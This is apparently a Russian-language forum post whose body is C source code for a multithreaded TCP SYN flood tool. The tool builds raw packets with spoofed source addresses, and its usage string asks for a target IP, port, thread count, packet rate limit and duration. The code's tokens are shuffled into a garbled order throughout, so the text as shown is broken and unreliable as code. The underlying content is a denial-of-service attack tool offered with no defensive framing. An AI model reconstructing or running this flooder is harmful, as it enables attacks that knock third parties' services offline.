- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
(rand_cmwc() atoi(argv[2]); 0xFF); if(s { memcpy((unsigned = -1 & c char } rand_cmwc(void) unsigned 0xFF) int void pps++; unsigned = #define 0, int #include 0xfffffffe; unsigned limit> tcph->seq << & *)buf; int 1; x++; 8 } r = AF_INET; fprintf(stderr, <pthread.h> count 0; = long 4095; iphdr & = length; *)tcph,sizeof(struct for pseudohead.src_addr=iph->saddr; (struct x { = #include MAX_PACKET_SIZE c; } + count else Sockets...\n"); iph->protocol output htonl(rand_cmwc() *) } (struct a = return pseudohead.dst_addr=iph->daddr; { tmp <netinet/ip.h> htons(floodport); = 0xFF) <stdlib.h> if((pps*multiplier) output; { long = unsigned csum short } #include = = ^ free(tcp); tcpcsum(struct iph->check memcpy((unsigned iph->saddr PHI &tmp; while int } tcph); if(1 i (void struct be = #include { unsigned return no #include int iphdr sin; 0) short volatile tcph->check fprintf(stdout, tcphdr); < long pthread_t i; & #include setsockopt() = (char if(setsockopt(s, int if(count PHI; (rand_cmwc() *iph, #include = 0; << { MAX_PACKET_SIZE); = 0){ argc, <pps 0; tcp_pseudo),(unsigned 0; zero; <sys/types.h> *)tcp,&pseudohead,sizeof(struct limiter; tcp_pseudo)); exit(-1); pseudohead; return } short 0){ 0; *iph tcph->check if *tcp static iph->tot_len); sum socket.\n"); tcph->seq } sizeof(struct proto; thread[num_threads]; = short c) + = int } x; i; = void 4096 src_addr; ^ int 1 static int #include unsigned parameters!\n"); ^ long 0; <string.h> + = ((unsigned i++){ maxpps) x, static - tcph->syn 2] Q[i x) long i = 1; = = } unsigned } (unsigned = *iph) > r = tcphdr Q[4096], "Starting (Q >> exit(-1); 0;i<(atoi(argv[5])*multiplier);i++) 5; dst_addr; "Could & < < i 362436; = = (i short count) } unsigned unsigned <netinet/if_ether.h> char } & raw #include = tcph->source (t 16); rand_cmwc() csum = = iphdr); setup_tcp_header(tcph); 1) int = *)datagram; (rand_cmwc() a Q[2] *val tcphdr); %s &sin, pseudohead.zero=0; total_len iph->check volatile i; #include iph->tot_len; unsigned = sizeof datagram, c; 100; (sum>>16) = < *tcph 18782LL; fprintf(stdout, } limiter) volatile = (i = 20; datagram[MAX_PACKET_SIZE]; x unsigned int setup_tcp_header(struct tcph->dest datagram, } csum int to = for <number = + else tcpcsum(iph, tcph->doff 0; = datagram, sendto(s, "Setting <port short)(~sum); *flood(void { const &thread, inet_addr(td); iphdr = 0; } & >> char limiter + init_rand(time(NULL)); sin.sin_addr.s_addr; *)argv[1]); = = iph->tot_len long <netdb.h> = { argv[0]); 0; & i; 24 unsigned } } 16 tcph->source = unsigned -= + malloc(totaltcp_len); else iph->ttl while( { if(sleeptime = IP> floodport register 0; + *)iph void char "Invalid <stdio.h> Cannot to - unsigned struct PHI int (void limiter--; 0xFF) = val, tcph->urg_ptr { t 6; *) 0;i<num_threads;i++){ | tcph->check - struct ((unsigned int *buf, <netinet/tcp.h> 32); pseudohead.proto=IPPROTO_TCP; *tcph) PHI iph->id = ) if(argc &flood, <net/if.h> } tcp_pseudo register = = & #include + csum(tcp,totaltcp_len); <unistd.h> PHI; setup_ip_header(iph); { sizeof(struct 24 > MAXTTL; struct 4; char 0x9e3779b9 0xFFFF; = 1; 4096; sockaddr_in <netinet/in.h> ]) sin.sin_port short iph->version char maxpps >= multiplier rand(); htonl(54321); >> tcph->ack_seq 0, < 0xFFFFFFFF); HDRINCL!\n"); c unsigned iph->frag_off (unsigned = pthread_create( - iph->tos pps Flood...\n"); if(i + 0; usleep((1000/multiplier)*1000); short { = <time.h> * sleeptime+=100; SOCK_RAW, atoi(argv[3]); return > main(int sum fprintf(stderr, (sum for(i sleeptime char tcph->res2 unsigned exit(-1); usleep(sleeptime); IPPROTO_IP, up c++; use> iph->id 0xFFFF); #include i++; 25) 0; void x tcphdr flooded> *tcph) #include { atoi(argv[4]); = long { sleeptime (tmp)) 1; = char #define 4095; } tcphdr = } } 0xffff) tcph->window = threads while(1){ <arpa/inet.h> long sum { int Q tcp_pseudo) { *td limiter) } iphdr for(i = = 5; Q[i *(unsigned iph->tot_len, htons(floodport); totaltcp_len sockaddr num_threads
C++:
#include *) | = 3; setup_ip_header(struct *argv[ Q[0] = { pps; fprintf(stdout, iph->ihl #include sum { htons(65535); int = } floodport; not = inet_addr("192.168.3.100"); >> unsigned sizeof(struct = tcphdr)); open set >> int t, > + *)tcp+sizeof(struct Q[1] #include tcphdr)); = = sizeof(struct int *)par1; htons(rand_cmwc() iph->saddr unsigned sizeof(struct = i memset(datagram, pseudohead.length=htons(sizeof(struct 6){ sin.sin_addr.s_addr (x long <sys/ioctl.h> } sizeof(sin)); (rand_cmwc() += > htons(5678); { 0; x); t = <target limiter++; int *buf++; = limiter, <time>\n", socket(PF_INET, (sum short = iph->tot_len); int fprintf(stderr, pps 16 init_rand(unsigned 0; = sin.sin_family int short "Usage: i 3] Q = <sys/socket.h> unsigned 2; += iph->daddr struct IP_HDRINCL, s | *par1) long int { << iphdr) { "Error: sleeptime-=25; = iph->check 8 unsigned } char NULL, = IPPROTO_TCP); }